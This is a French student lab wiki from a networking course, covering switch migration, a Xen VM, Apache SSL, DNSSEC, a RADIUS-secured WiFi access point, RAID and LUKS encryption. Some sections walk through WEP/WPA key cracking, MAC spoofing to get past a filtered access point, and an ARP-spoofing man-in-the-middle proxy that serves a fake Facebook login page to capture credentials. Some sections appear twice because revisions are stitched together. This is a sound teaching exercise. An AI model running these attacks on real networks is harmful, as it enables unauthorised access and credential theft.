-rw------- 1 root bind 1774 Oct 20 13:48 michay.lol-ksk.private
-rw-r--r-- 1 root bind 429 Oct 20 13:48 michay.lol-zsk.key
-rw------- 1 root bind 1010 Oct 20 13:48 michay.lol-zsk.private

On ajoute le chemin d'accès aux clés publiques .key dans le fichier de zone db.michay.lol, en ajoutant ces lignes après la déclaration SOA :
$include /etc/bind/michay.lol.dnssec/michay.lol-ksk.key
$include /etc/bind/michay.lol.dnssec/michay.lol-zsk.key

On fournit les clés publiques KSK et ZSK à Gandi pour qu'il puisse les propager sur l'internet (Rubrique "Gérer DNSSEC").

Pour finir, on signe la zone avec la commande dnssec-signzone :
dnssec-signzone -o michay.lol -k michay.lol.dnssec/michay.lol-ksk zones/db.michay.lol michay.lol.dnssec/michay.lol-zsk

Cela crée un fichier db.michay.lol.signed. Il ne nous reste plus alors qu'à modifier le fichier de configuration named.conf.local pour lui dire d'utiliser db.michay.lol.signed à la place de db.michay.lol.

Après test ([http://www.dnsstuff.com/tools#dnsReport|type=domain&&value=michay.lol juste ici]), on constate que la mise en place de DNSSEC est validée.
Après quelques modifications, il reste 1 "erreur" (pas de record MX défini, on pourrait supprimer l'erreur en mettant l'ip des serveurs mails Gandi), et 2 warnings (1 warning car le glue record du serveur DNS secondaire (ns6.gandi.net) ne peut pas être défini sur l'interface Gandi ; 1 warning parce que l'utilitaire considère que la valeur du refresh dans le SOA de la zone est trop haute).

=== Piratage des bornes wifi ===
==== Crackage WEP ====

Nous avons utilisé ici la célèbre distribution Kali pour effectuer le crack. On peut afficher l'état des interfaces réseau avec la commande iwconfig. Dans un premier temps, il faut passer l'interface wifi en mode monitor.
airmon-ng start wlanX
wlanX est l'interface wifi utilisée pour l'attaque. Si un problème survient, il peut peut être réglé en exécutant la commande :
airmon-ng check kill

L'étape suivante consiste à récupérer des vecteurs d'initialisation contenus dans les datas transmises. Pour cela, on peut afficher le traffic wifi avec la commande:
airodump-ng wlan5mon
Cette commande affiche les différents points d'accès ainsi que les clients connectés qui communiquent par Wifi. L'idée est maintenant de capturer et enregistrer les paquets du point d'accès qui nous intéresse. Dans notre cas, nous voulons cracker cracotte03. Pour cela, nous exécutons la commande :
airodump-ng --bssid 00:23:5E:1E:05:42 --ch 7 --write fichier wlanXmon

Nous laissons cette commande fonctionner durant le crack. Nous pouvons ouvrir un autre terminal. En théorie, il est nécessaire à cette étape de stimuler le traffic wifi pour récupérer des paquets. Dans le cadre de notre TP cette étape n'est pas nécessaire car le traffic est déjà très important. Nous pouvons passer directement au crackage de la clé.
Dans le nouveau terminal, nous entrons :
aircrack-ng fichier*.cap

Les deux commandes peuvent fonctionner en parallèle. Nous n'avons plus qu'à attendre. Au bout d'un certain temps (~48k IVs), nous obtenons la clé :
KEY FOUND! [ 55:55:55:55:55:55:55:55:55:55:55:51:11 ]

==== Crackage WPA ====
De la même manière que pour le crackage WEP, dans un premier temps il faut passer l'interface WiFi en mode moniteur. Vous pouvez voir la démarche à suivre dans la partie Crackage WEP au dessus. Ensuite, on récupère le traffic de l'AP ciblé dans un fichier. Le but ici consiste à récupérer des données particulières à l'encryption WPA. Cette donnée s'appelle le handshake. Le handshake est transmis lors de l'authentification d'un client sur le point d'accès. En théorie on force le passage de ce handshake en envoyant des paquets de désauthentification d'un client au point d'accès. Dans le cadre du TP le handshake est transmis en permanence. On voit alors dans la fenêtre de airmon-ng que le handshake WPA a été récupéré.

Une fois que nous avons le handshake, nous allons cracker le mot de passe par bruteforce. Dans un premier temps nous allons générer un dictionnaire. On peut écrire un script simple pour cela, ou bien tout simplement utiliser la commande crunch :
crunch 8 8 0123456789 -o dictionnaire.txt

On peut maintenant lancer le bruteforce avec la commande :
aircrack-ng file.cap -w dictionnaire.txt
La vitesse du bruteforce dépend des performances du processeur. Pour accélérer le processus, on peut utiliser le programme [https://code.google.com/p/pyrit/ pyrit] qui va utiliser le GPU de l'ordinateur. La commande est :
pyrit -r file.cap -i dictionnaire.txt attack_passthrough

===== Les résultats =====
Pour ce test, étant donné que nous connaissions la clé, nous avons généré un dictionnaire allégé pour accélérer le processus de crackage.
crunch 8 8 012389 -o dictionnaire.txt

Utilisation d'aircrack
$ time aircrack-ng out-01.cap -w dic.txt
Aircrack-ng 1.2 rc3

[00:01:36] 404340 keys tested (4197.19 k/s)

KEY FOUND! [ 12399903 ]

Master Key : 33 2B 69 DD 95 0A 5A E0 01 22 7E FF 98 DA 99 87
40 7A CB CC 8A E5 32 9F FE 4E 5C 44 91 38 13 93

Transient Key : 26 97 C3 D5 8D 70 A3 F0 19 3A 7D E0 BA 53 80 82
7A 50 BF 44 DD 30 B3 9C BF 17 57 2D 9B E6 14 BE
F3 FE 81 1B 80 A9 06 7B EF 3D D8 AB 94 3B 4E D9
BB C5 8D D9 D7 88 C7 B0 2D 79 88 ED BD 22 F9 94

EAPOL HMAC : AC 30 13 2E E7 7A 7B EE 43 48 5D 1B 84 2C DC 8B

real 1m37.298s
user 12m55.440s
sys 0m0.112s

La clé est crackée en 1 minute et 40 secondes avec une vitesse de ~4200 k/s.

Utilisation de pyrit
$ time pyrit -r out-01.cap -i dic.txt attack_passthrough
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Parsing file 'out-01.cap' (1/1)...
Parsed 30 packets (30 802.11-packets), got 1 AP(s)

Picked AccessPoint 04:da:d2:9c:50:52 ('cracotte03') automatically.
Tried 440022 PMKs so far; 24749 PMKs per second.

The password is '12399903'.

real 0m21.305s
user 2m20.100s
sys 0m8.448s

La clé est crackée en 21 secondes avec une vitesse 6 fois supérieure avec ~25800 k/s.

==== Connexion à l'AP autorisé ====

On modifie le fichier /etc/network/interfaces

On commente #auto eth0

On configure wlan0 :

auto wlan0
iface wlan0 inet static
address 172.26.79.63
netmask 255.255.240.0
gateway 172.26.79.254
wireless-essid troubadour
wireless-mode managed

La connexion fonctionne sans soucis, on ping la gateway 172.26.79.254 et on accède à internet, en particulier les sites IPv4.

==== Connexion à l'AP filtré ====

On cherche cette fois à se connecter à un AP Wifi filtré par adresses MAC sur lequel on a pas le droit car notre adresse MAC n'est pas autorisée.

On modifie l'adresse MAC en prenant une adresse volée à l'aide du social engineering :
ifconfig wlan0 down
ifconfig wlan0 hw ether 00:15:af:e7:19:f3
ifconfig wlan0 up

On arrive ensuite toujours à ping la gateway et accéder à internet sans soucis !

=== Configuration des Points d'Accès WiFi ===

Sur le commutateur on configure un port pour qu'il soit dans le VLAN 1 en mode trunk. On y connectera par la suite la borne d'accès WiFi. Le routeur sera configuré pour donner l'accès des autres VLAN au VLAN 1.

On peut dorénavant se connecter à la la borne en console pour la configurer. Un simple telnet sur le port par défaut suffit. On expliquera la démarche pour la configuration de l'AP dans la suite.

Dans un premier temps, nous avons configuré un serveur <code>FreeRadius</code> pour sécuriser le réseau WiFi par WPA2-EAP. Les fichiers de configuration du serveur se trouvent dans le dossier <code>/etc/freeradius/</code>.
On rajoute un user dans le fichier users, qui servira pour s'authentifier sur le réseau WiFi. Il suffit de rajouter une ligne dans le fichier :

myusername Cleartext-password := "myclearpassword"

On rajoute aussi dans le fichier clients.conf un nouveau client, de la manière suivante :

client E304 {
ipaddr = 10.10.10.1
secret = anotherpassword
}

client VLAN13 {
ipaddr = 172.20.13.0
netmask = 24
secret = anotherpassword
}

Il est important d'ajouter aussi un client pour la salle E306.

On configure aussi le fichier eap.conf pour utiliser le PEAP-MSCHAPv2. Il faut remplacer les valeurs des différents champs dans le fichier :
eap {
default_eap_type = peap
peap {
default_eap_type = mschapv2
}
}

On peut dorénavant configurer la borne WiFi. Pour cela on a utilisé les commandes de l'énoncé de TP, en modifiant les différentes valeurs. Ces commandes sont à exécuter en mode enable. Les identifiants par défaut sont Cisco/Cisco :
conf t

aaa new-model
aaa authentication login eap_chimay group radius_chimay
radius-server host 193.48.57.163 auth-port 1812 acct-port 1813 key anotherpassword
aaa group server radius radius_chimay
server 193.48.57.163 auth-port 1812 acct-port 1813

exit

dot11 ssid SSID_CHIMAY
vlan 13
authentication open eap eap_chimay
authentication network-eap eap_chimay
authentication key-management wpa
mbssid guest-mode

exit

interface Dot11Radio0
encryption vlan 13 mode ciphers aes-ccm tkip
ssid SSID_CHIMAY

exit

interface Dot11Radio0.13
encapsulation dot1Q 13
no ip route-cache
bridge-group 13
bridge-group 13 subscriber-loop-control
bridge-group 13 spanning-disabled
bridge-group 13 block-unknown-source
no bridge-group 13 source-learning
no bridge-group 13 unicast-flooding

exit

interface GigabitEthernet0.13
encapsulation dot1Q 13
bridge-group 13

exit

exit

On peut maintenant configurer l'accès sur un eeepc, dans le fichier /etc/network/interfaces :
auto wlan0
iface wlan0 inet static
address 172.20.13.12
netmask 255.255.255.0
gateway 172.20.13.254
wpa-ssid SSID_CHIMAY
wpa-key-mgmt WPA-EAP
wpa-identity myusername
wpa-password mycleanpassword

Nous avons dû retirer le package network-manager car il semblerait qu'il reconfigure en fufu les interfaces réseau après la configuration manuelle. Sans lui, nous avons plus de contrôle sur la configuration.

=== Sécurisation des données ===

Nous avons sécurisé les données. Pour se faire, nous avons commencé par créer 3 partitions LVM de 1 Go :

lvcreate -L 1G -n /dev/virtual/ima5-chimay-raid1 -v
lvcreate -L 1G -n /dev/virtual/ima5-chimay-raid2 -v
lvcreate -L 1G -n /dev/virtual/ima5-chimay-raid3 -v

Ensuite, nous les avons ajoutées à la configuration de la VM, dans /etc/xen/chimay.cfg :
'phy:/dev/virtual/ima5-chimay-raid1,xvdd,w',
'phy:/dev/virtual/ima5-chimay-raid2,xvde,w',
'phy:/dev/virtual/ima5-chimay-raid3,xvdf,w',

Après redémarrage, la VM démarre sans soucis. On s'y connecte, et on installe le paquet mdadm pour faire le RAID5 :
apt-get install mdadm

On crée le volume md0 :
mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdd /dev/xvde /dev/xvdf

On vérifie que le volume est bien monté :
fdisk -l
Renvoie :
Disk /dev/md0: 2 GiB, 2145386496 bytes, 4190208 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 524288 bytes / 1048576 bytes

Un mdam --detail nous montre plus de détails sur la partition :
root@chimay:~# mdadm --detail /dev/md0
/dev/md0:
Version : 1.2
Creation Time : Mon Nov 30 15:29:04 2015
Raid Level : raid5
Array Size : 2095104 (2046.34 MiB 2145.39 MB)
Used Dev Size : 1047552 (1023.17 MiB 1072.69 MB)
Raid Devices : 3
Total Devices : 3
Persistence : Superblock is persistent
Update Time : Mon Nov 30 15:29:04 2015
State : clean
Active Devices : 3
Working Devices : 3
Failed Devices : 0
Spare Devices : 0
Layout : left-symmetric
Chunk Size : 512K
Name : chimay:0 (local to host chimay)
UUID : 72cc8ab9:4063c466:b04894e4:2b38e399
Events : 0
Number Major Minor RaidDevice State
0 202 48 0 active sync /dev/xvdd
1 202 64 1 active sync /dev/xvde
2 202 80 2 active sync /dev/xvdf

=== Configuration d'un PCBX ===
==== Installation et mise en place d'un serveur DHCP ====

On commence par installer le serveur DHCP sur l'eeePC :
apt-get install isc-dhcp-server

On modifie ensuite la configuration dans ''/etc/dhcp/dhcpd.conf'', et on y ajoute cette définition du subnet :
subnet 172.20.13.0 netmask 255.255.255.0 {
range 172.20.13.10 172.20.13.50;
option routers 172.20.13.254;
}

On oublie pas de changer aussi :
option domain-name "michay.lol"
option name-server "ns.michay.lol","ns6.gandi.net"

Comme par magie, le téléphone sous Android 6.0 peut alors bien se connecter au point d'accès SSID_CHIMAY et acquiert son IP automatiquement :

[[Fichier:wifi.PNG |thumb|center| 200px|<center>Adresse IP obtenue via DHCP</center>]]

=== Attaque Man in the Middle ===
Pour ce faire, on utilisera Squid combiné à SquidGuard pour rediriger la page de login Facebook vers une page modifée, sans que la cible ne s'en rende compte.
Le hack se fait de la manière suivante :
1. Le hacker récupère le trafic sortant de la cible en se faisant passer pour le routeur en utilisant la commande arpspoof (ARP poisonning)
2. Le hacker redirige la totalité du trafic de façon transparente vers le routeur avec les outils Squid, SquidGuard et iptables.
Il configure SquidGuard pour rediriger les URLs convoitées vers des pages modifiées. Ici nous modifierons la page de login Facebook de façon à ce que les identifiants de connexion passent en HTTP.
3. Le hacker n'a plus qu'à surveiller le trafic avec un outil de type Wireshark, et voir notamment les requêtes HTTP POST transiter avec les identifiants de connexion.
4. Profit

==== Configuration de Squid ====
# Fichier /etc/squid3/squid.conf
acl allowedips src 192.168.1.0/24 # ip ou range d'ip à attaquer
http_access allow allowedips
forwarded_for off # Masque notre ip dans le header HTTP
http_access deny all # Empeche les personnes extérieures d'accéder à notre proxy
cache_access_log /var/log/squid3/access.log
cache_log /var/log/squid3/cache.log
cache_store_log /var/log/squid3/store.log
cache_dir ufs /var/spool/squid3 100 16 256
cache_mem 16 MB
maximum_object_size 15 MB
http_port 3129 intercept # Pour rendre le proxy transparent
cache_effective_group root
url_rewrite_program /usr/bin/squidGuard # Intégration de SquidGuard

==== Configuration de SquidGuard ====
Attention, il ne faut pas mettre de commentaires dans le fichier de configuration. Cela provoquera des erreurs.
# Fichier /etc/squidguard/squidGuard.conf
dbhome /usr/local/squidGuard/db # Dossier parent de la base de données

dest fb-login { # Définition des urls/domaines à rediriger
urllist facebook/url
}

acl {
default {
pass !fb-login all # Laisser passer tout ce qui ne concerne pas Facebook
redirect http://127.0.0.1/ # Rediriger le trafic vers notre serveur Apache local
}
}

# Fichier /usr/local/squidGuard/db/facebook/url
fr-fr.facebook.com

Pour lancer le proxy, dans une console :
squidGuard -C all # Génération de la base de données (à faire à chaque modification des fichiers db)
squid3 -z # Vérification de la configuration de Squid
service squid start
service squid status # Pour vérifier qu'il n'y a pas d'erreurs
vim /var/log/squidguard/squidGuard.log

S'il y a des erreurs, il est possible que ce soit dû à des problèmes de permissions. Typiquement, on peut lancer les commandes :
chown -R proxy:proxy /var/log/squid3 /var/lib/squidguard
chown -R proxy:proxy /var/log/squidguard
chown -R proxy:proxy /usr/local/squidGuard

==== Configuration iptables et redirection ====
Ici nous allons configurer la redirection du trafic.
echo 1 > /proc/sys/net/ipv4/ip_forward # Autorise le forwarding ipv4
iptables -A OUTPUT -p icmp --icmp-type 5 -j DROP # Bloque les ICMP 5 envoyés à la cible
iptables -t nat -A PREROUTING -s <ip serveur squid> -p tcp --dport 80 -j ACCEPT # Accepter le trafic entrant sur le serveur Squid vers le port 80 sans le rediriger
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 3129 # Redirige le trafic des autres IP à destination d'un port 80 vers le port 3128 de Squid
iptables -t nat -A POSTROUTING -j MASQUERADE # Masque l'ip de la cible avec notre propre ip
iptables -t mangle -A PREROUTING -p tcp --dport 3129 -j DROP # Bloque le trafic direct vers le port du serveur Squid

Voir le [http://wiki.squid-cache.org/ConfigExamples/Intercept/LinuxRedirect#iptables_configuration wiki de Squid] pour plus d'informations.

==== Détournement du trafic ====
Pour rediriger le trafic de la cible vers notre machine, on va modifier la table ARP de la cible, avec la commande :
arpspoof -i <interface> -t <ip cible> <ip gateway>
On laisse tourner cette commande dans un terminal le temps de l'attaque. On peut maintenant voir le trafic venant de notre victime sur notre machine avec un logiciel comme Wireshark. Si la personne accède à l'URL facebook.fr, elle sera maintenant redirigée vers notre serveur Apache.

=== Cryptage de données ===
Dans cette partie, nous allons crypter une partition sur une carte SD à l'aide de <code>cryptsetup</code>.
Dans un premier temps, on insère la carte SD dans la machine. On peut afficher l'état des disques et des partitions à l'aide de la commande :
fdisk -l
Nous allons formater la carte de sorte qu'elle n'ait qu'une seule partition. Nous avons choisi le format FAT32. Nous avons utilisé le logiciel gParted pour cela. Dans notre cas, la partition est /dev/sdb1
Nous pouvons maintenant créer une partition cryptée avec :
cryptsetup luksFormat -c aes -h sha256 /dev/sdb1
Cette commande va demander quelques information et notamment une passphrase. Notre carte SD est désormais encryptée en AES SHA-256. On peut afficher l'état du disque avec la commande :
cryptsetup luksDump /dev/sdb1
Il faut maintenant ajouter un système de fichier à cette partition encryptée. Nous avons ici choisi le format ext3 :
cryptsetup luksOpen /dev/sdb1 <nom_du_disque>
mkfs.ext3 /dev/mapper/<nom_du_disque>
On peut maintenant monter la partition dans un dossier :
mount -t ext3 /dev/mapper/<nom_du_disque> /mnt/
On peut maintenant lire et écrire des fichier sur la carte SD en utilisant le dossier /mnt/. Quand on a terminé, on exécute :
umount /mnt/
sudo cryptsetup luksClose <nom_du_disque>

Pour accéder à la carte SD :
cryptsetup luksOpen /dev/sdb1 <nom_du_disque>
mount -t ext3 /dev/mapper/<nom_du_disque> /mnt/
// Opérations ici
umount /mnt/
sudo cryptsetup luksClose <nom_du_disque>

PRA2015 - Configuration des commutateurs

2015-12-10T09:51:24Z

Tteneur : /* Configuration d'un PCBX */

__TOC__
== Cahier des charges ==
=== Présentation du travail ===
Le but de la tâche est de configurer le commutateur Cisco 6009 de la salle E306. Le binôme n°4 s'occupe du commutateur de même modèle situé en salle E304.

A l'origine, le matériel sur lequel nous travaillons nous est mis à disposition dans une configuration un peu particulière. En effet la carte superviseur (carte mère) du routeur est livrée avec un système d'exploitation CatOS, tandis que la carte routage (carte fille) fonctionne sous IOS. Dans un premier temps la tâche consistera donc de migrer complètement le routeur vers un système IOS. On pourra par la suite configurer les différents VLANs et la connexion redondante sur les routeurs (groupes 1 & 2). Pour plus de clarté sur l'architecture du réseau, je vous invite à consulter le schéma mis en place par nos collègues du groupe 1.

[[Fichier:Network architecture.PNG |thumb|center| 500px|<center>Architecture du réseau mis en place</center>]]

=== Matériel utilisé ===
* Commutateur Cisco 6009
* Un ordinateur muni d'un port série pour la configuration

== Progression ==
=== Semaine 1 - Prise en main ===
Dans un premier temps, nous découvrons le matériel à notre disposition et essayons de comprendre comment il fonctionne. Le commutateur Cisco 6009 est constitué d'un rack de 5 baies. Deux d'entre elles contiennent un module permettant le routage sur les modules de ports RJ45.
Intéressons nous maintenant à ces deux modules en particulier. Ceux-ci sont constituées d'une carte mère appelée carte superviseur et une carte fille qui est la carte routeur. Chacune des deux cartes contiennent leur propre mémoire flash appelée bootflash. Une carte flash de 20 Mo peut aussi être insérée dans le module. La configuration originelle de ces modules est un peut particulière :
* Module 1 : Un CatOS sur la bootflash de la carte superviseur, et un IOS sur la bootflash de la carte routeur
* Module 2 : Un IOS sur la bootflash de la carte superviseur, et un IOS sur la bootflash de la carte routeur

L'idée est de migrer tout les modules vers des systèmes d'exploitation de type IOS (le seul système utilisé aujourd'hui par Cisco).

=== Semaine 2 - Installation et configuration des OS ===

==== Installation des OS ====

On démarre le commutateur avec un seul module superviseur branché. On en configurera un seul à la fois. Nous avons décidé de configurer le module avec CatOS en premier.

Nous passons en mode enable avec la commande du même nom, pour ensuite associer une IP à l'interface sc0. Avec celle ci nous pourrons transférer les fichiers avec un ordinateur (tutur06) via TFTP.

console> enable
console (enable)> set interface sc0 192.168.0.1 255.255.255.0

A cause d'une erreur (bad device info block), nous avons du formater la flash pour pouvoir la lire et écrire dessus. En effet chaque OS a son propre système de fichier.

console (enable)> format slot0:

On peut maintenant copier le binaire contenant l'OS à installer. Pour cela on configure une IP dans le même réseau que l'interface sc0 sur tutur06. L'ordinateur est déjà configuré pour transférer des fichiers par TFTP. Ici nous avons configuré l'IP 192.168.0.2/24.

console (enable)> copy tftp slot0:
console (enable)> 192.168.0.2
console (enable)> "emplacement du fichier"

A partir de là, on peut donc booter directement sur la carte sous IOS. Pour cela il faut interrompre le boot automatique sur CatOS pour indiquer au système de boot sur la carte IOS.

Comme il y a eu un problème de carte avec le deuxième binôme, nous avons du re-formater leur carte au format CatOS, pour cela il a fallu booter en CatOS, la formater sous CatOS et leur remettre les bons fichiers sur la carte via tftp.

A partir de là nous avons pu, de la même manière que précédemment, formater la deuxième au format IOS puis y mettre les fichiers IOS via tftp. En outre, nous avons indiqué au système de boot sur la carte flash via la directive :
BOOT=slot0:<CHEMIN DU FICHIER.bin>

==== Configuration des OS ====

La configuration réseau du routeur se déroule en 3 étapes.

Dans un premier temps, on configure les liaisons trunk. Il s'agit ici de la liaison qui relie le commutateur au routeur en E306, sur l'interface 4/3, et la liaison cable qui relie le commutateur au routeur en E304 sur l'interface 7/2. On écrit donc pour chaque interface
conf t
int Gi4/3
switchport
switchport mode trunk
switchport trunk allowed vlan 11-20,110,130
no shut
exit

int Gi7/2
switchport
switchport trunk encapsulation dot1q
switchport mode trunk
switchport trunk allowed vlan 11-20,110,130
no shut
exit

Il faut ensuite créer les VLAN, par exemple :

conf t
vlan 13
name vlan13
exit

On fait ceci pour les VLAN 11 à 20, puis 110 et 130. Une fois qu'ils sont déclarés, on les attribue à un port physique du commutateur :

int Gi4/13
switchport access vlan 13
no shut
exit

Le schéma physique est le suivant :
*VLAN11 : Gigabit 4/11
*VLAN12 : Gigabit 4/12
*VLAN13 : Gigabit 4/13
*VLAN14 : Gigabit 4/14
*VLAN15 : Gigabit 4/15
*VLAN16 : Gigabit 4/16
*VLAN17 : Gigabit 4/17
*VLAN18 : Gigabit 4/18
*VLAN19 : Gigabit 4/19
*VLAN20 : Gigabit 4/20
*VLAN 110 : Gigabit 4/1

=== Semaine 3 ===

Nous avons commencé par créer une VM Xen sur le serveur Cordouan :
xen-create-image --hostname=chimay --ip=193.48.57.163 --netmask=255.255.255.240 --gateway=193.48.57.174 --dir=/usr/local/xen --mirror=http://debian.polytech-lille.fr/debian/ --dist=jessie --passwd

*Notre IP : 193.48.57.163
*Masque : 255.255.255.240
*Passerelle : 193.48.57.174

Nous avons ensuite crée 2 partitions LVM, home et var.
lvcreate -L 10G -n /dev/virtual/ima5-chimay-home -v
lvcreate -L 10G -n /dev/virtual/ima5-chimay-var -v

Il faut enfin modifier le fichier /etc/xen/chimay.cfg, y rajouter les partitions LVM :
disk = [
'phy:/dev/virtual/ima5-chimay-var,xvdb,w'
'phy:/dev/virtual/ima5-chimay-home,xvdb,w' ]
dans vif, rajouter bridge=IMA5sc

Enfin, une fois la VM lancée, on y ajoute le serveur apache, le serveur SSH et le serveur DNS :
apt-get install apache2
apt-get install openssh
apt-get install bind9

On active la possibilité de se connecter par SSH en tant que root directement en ajoutant dans /etc/ssh/sshd_config :
PermitRootLogin yes

=== Semaine 4 ===

Nous avons commencé par louer un nom de domaine chez Gandi. Comme le thème est la bière et que nous avons choisi de nommer notre VM Chimay, nous avons, pour des raisons légales, choisi de louer le domaine michay.lol.

==== Installation du serveur Apache et du certificat SSL ====

Nous avons commencé par configurer Apache et y installer un certificat SSL. A cet effet, nous avons commencé par générer un fichier .csr avec OpenSSL :
openssl req -nodes -newkey rsa:2048 -sha256 -keyout michay.lol.key -out michay.lol.csr

Les domaines certifiés sont ''michay.lol'' et ''www.michay.lol''.

On fournit la .csr à Gandi qui la signe et valide et nous renvoie un .crt. On choisit de le mettre à côté de la .key, et on supprime la .csr.

On poursuit ensuite en activant le module SSL d'Apache :

a2enmod ssl

Il faut ensuite configurer Apache pour écouter sur le port 443, dans /etc/apache2/ports.conf :

<IfModule mod_ssl.c>
Listen 443
NameVirtualHost 193.48.57.163:443
</IfModule>

Enfin, on ajoute un VirtualHost servant le contenu du dossier /var/www/www.michay.lol/ sur le port 443, dans /etc/apache2/sites-available/000-michay.lol-ssl.conf :
<VirtualHost *:443> **** On veille à mettre un wildcard, sinon le certificat SSL n'est pas chargé quand l'adresse est un FQDN. ****
ServerName www.michay.lol **** Domaine et Alias ****
ServerAlias michay.lol
DocumentRoot /var/www/www.michay.lol/ **** Dossier contenant les fichiers du site ****
CustomLog /var/log/apache2/secure_access.log combined **** Localisation des logs ****
SSLEngine on **** Activation du SSL ****
SSLCertificateFile /etc/ssl/certs/www.michay.lol.crt **** Chargement du certificat signé par Gandi ****
SSLCertificateKeyFile /etc/ssl/private/www.michay.lol.key **** Clé privée correspondant au certificat combiné à la PEM ****
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem **** Clé publique émise par Gandi ****
SSLVerifyClient None
</VirtualHost>

On peut alors remarquer que la connexion sécurisée s'affiche en vert dans la barre d'adresse : le certificat est valide. La connexion est sécurisée et le site est de confiance. On remarque notamment la date de validité, ici le certificat est valide pour 1 an.

[[Fichier:certif1.PNG |thumb|center| 500px|<center>Certificat certifié par Gandi.</center>]]

On peut notamment voir toute la chaîne de certification !

[[Fichier:certif2.PNG |thumb|center| 500px|<center>La chaîne de certification de notre certificat.</center>]]

==== Mise en place du serveur DNS et de DNSSEC ====

Toute la configuration du serveur DNS s'effectue dans le dossier /etc/bind/ :

Nous avons crée un dossier /etc/bind/zones dans lequel nous stockons nos fichiers de zone DNS.

zone db.michay.lol :

$TTL 604800

@ IN SOA ns.michay.lol. root.michay.lol. (
2015102001 ; Serial
86400 ; Refresh
3600 ; Retry
2419200 ; Expire
86400 ) ; Negative Cache TTL

$include /etc/bind/michay.lol.dnssec/michay.lol-ksk.key
$include /etc/bind/michay.lol.dnssec/michay.lol-zsk.key

@ IN NS ns.michay.lol.
@ IN NS ns6.gandi.net.
ns IN A 193.48.57.163
www IN A 193.48.57.163
god IN A 193.48.57.163
ns IN AAAA 2001:660:4401:60bb:216:3eff:fe73:e535
www IN AAAA 2001:660:4401:60bb:216:3eff:fe73:e535
god IN AAAA 2001:660:4401:60bb:216:3eff:fe73:e535
@ IN A 193.48.57.163
@ IN AAAA 2001:660:4401:60bb:216:3eff:fe73:e535

et la zone inverse pour la résolution des adresses IP, 57.48.193.in-addr.arpa :

$TTL 604800

@ IN SOA ns.michay.lol. root.michay.lol. (
2015102001 ;serial
14400 ;refresh
3600 ;retry
604800 ;expire
10800 ;minimum
)

57.48.193.in-addr.arpa. IN NS ns.michay.lol.
57.48.193.in-addr.arpa. IN NS ns6.gandi.net.

163 IN PTR michay.lol.

On peut enfin ajouter les zones dans le fichier de configuration principale de bind, /etc/bind/named.conf.local :

zone "michay.lol" {
type master;
file "/etc/bind/zones/db.michay.lol.signed";
allow-transfer { 217.70.177.40; };
notify yes;
};

zone "57.48.193.in-addr.arpa" IN {
type master;
file "/etc/bind/zones/57.48.193.in-addr.arpa";
allow-transfer { 217.70.177.40; };
};

Notons que par rapport à la configuration minimale des fichiers, nous avons rajouté quelques lignes, en particulier :

* allow-transfer { 217.70.177.40; }; notify yes; : Déclaration dans la configuration de l'adresse IP du DNS secondaire chez Gandi (ns6.gandi.net)
* @ IN NS ns6.gandi.net. et 57.48.193.in-addr.arpa. IN NS ns6.gandi.net. dans les fichiers de zone pour le DNS secondaire

On enchaîne enfin sur la sécurisation du serveur DNS avec DNSSEC, pour éviter qu'un pirate puisse par exemple modifier de manière invisible l'IP de redirection du domaine. Pour ce faire, on crée 2 clés : une Key Signing Key (KSK) et une Zone Signing Key (ZSK). On utilisera l'option -r /dev/urandom, pour utiliser la génération pseudo-aléatoire (au lieu de /dev/random par défaut), ce qui accélère grandement la génération sur notre système.

Génération de la KSK :
dnssec-keygen -a RSASHA1 -b 2048 -r /dev/urandom -f KSK -n ZONE michay.lol

Génération de la ZSK :
dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE michay.lol

On renomme les 4 clés générées pour se retrouver dans notre dossier avec les fichiers suivants :
root@chimay:/etc/bind/michay.lol.dnssec# ls
total 24
drwxr-sr-x 2 root bind 4096 Oct 20 15:10 .
drwxr-sr-x 4 root bind 4096 Oct 21 18:12 ..
-rw-r--r-- 1 root bind 603 Oct 20 13:48 michay.lol-ksk.key
-rw------- 1 root bind 1774 Oct 20 13:48 michay.lol-ksk.private
-rw-r--r-- 1 root bind 429 Oct 20 13:48 michay.lol-zsk.key
-rw------- 1 root bind 1010 Oct 20 13:48 michay.lol-zsk.private

On ajoute le chemin d'accès aux clés publiques .key dans le fichier de zone db.michay.lol, en ajoutant ces lignes après la déclaration SOA :
$include /etc/bind/michay.lol.dnssec/michay.lol-ksk.key
$include /etc/bind/michay.lol.dnssec/michay.lol-zsk.key

On fournit les clés publiques KSK et ZSK à Gandi pour qu'il puisse les propager sur l'internet (Rubrique "Gérer DNSSEC").

Pour finir, on signe la zone avec la commande dnssec-signzone :
dnssec-signzone -o michay.lol -k michay.lol.dnssec/michay.lol-ksk zones/db.michay.lol michay.lol.dnssec/michay.lol-zsk

Cela crée un fichier db.michay.lol.signed. Il ne nous reste plus alors qu'à modifier le fichier de configuration named.conf.local pour lui dire d'utiliser db.michay.lol.signed à la place de db.michay.lol.

Après test ([http://www.dnsstuff.com/tools#dnsReport|type=domain&&value=michay.lol juste ici]), on constate que la mise en place de DNSSEC est validée.
Après quelques modifications, il reste 1 "erreur" (pas de record MX défini, on pourrait supprimer l'erreur en mettant l'ip des serveurs mails Gandi), et 2 warnings (1 warning car le glue record du serveur DNS secondaire (ns6.gandi.net) ne peut pas être défini sur l'interface Gandi ; 1 warning parce que l'utilitaire considère que la valeur du refresh dans le SOA de la zone est trop haute).

=== Piratage des bornes wifi ===
==== Crackage WEP ====

Nous avons utilisé ici la célèbre distribution Kali pour effectuer le crack. On peut afficher l'état des interfaces réseau avec la commande iwconfig. Dans un premier temps, il faut passer l'interface wifi en mode monitor.
airmon-ng start wlanX
wlanX est l'interface wifi utilisée pour l'attaque. Si un problème survient, il peut peut être réglé en exécutant la commande :
airmon-ng check kill

L'étape suivante consiste à récupérer des vecteurs d'initialisation contenus dans les datas transmises. Pour cela, on peut afficher le traffic wifi avec la commande:
airodump-ng wlan5mon
Cette commande affiche les différents points d'accès ainsi que les clients connectés qui communiquent par Wifi. L'idée est maintenant de capturer et enregistrer les paquets du point d'accès qui nous intéresse. Dans notre cas, nous voulons cracker cracotte03. Pour cela, nous exécutons la commande :
airodump-ng --bssid 00:23:5E:1E:05:42 --ch 7 --write fichier wlanXmon

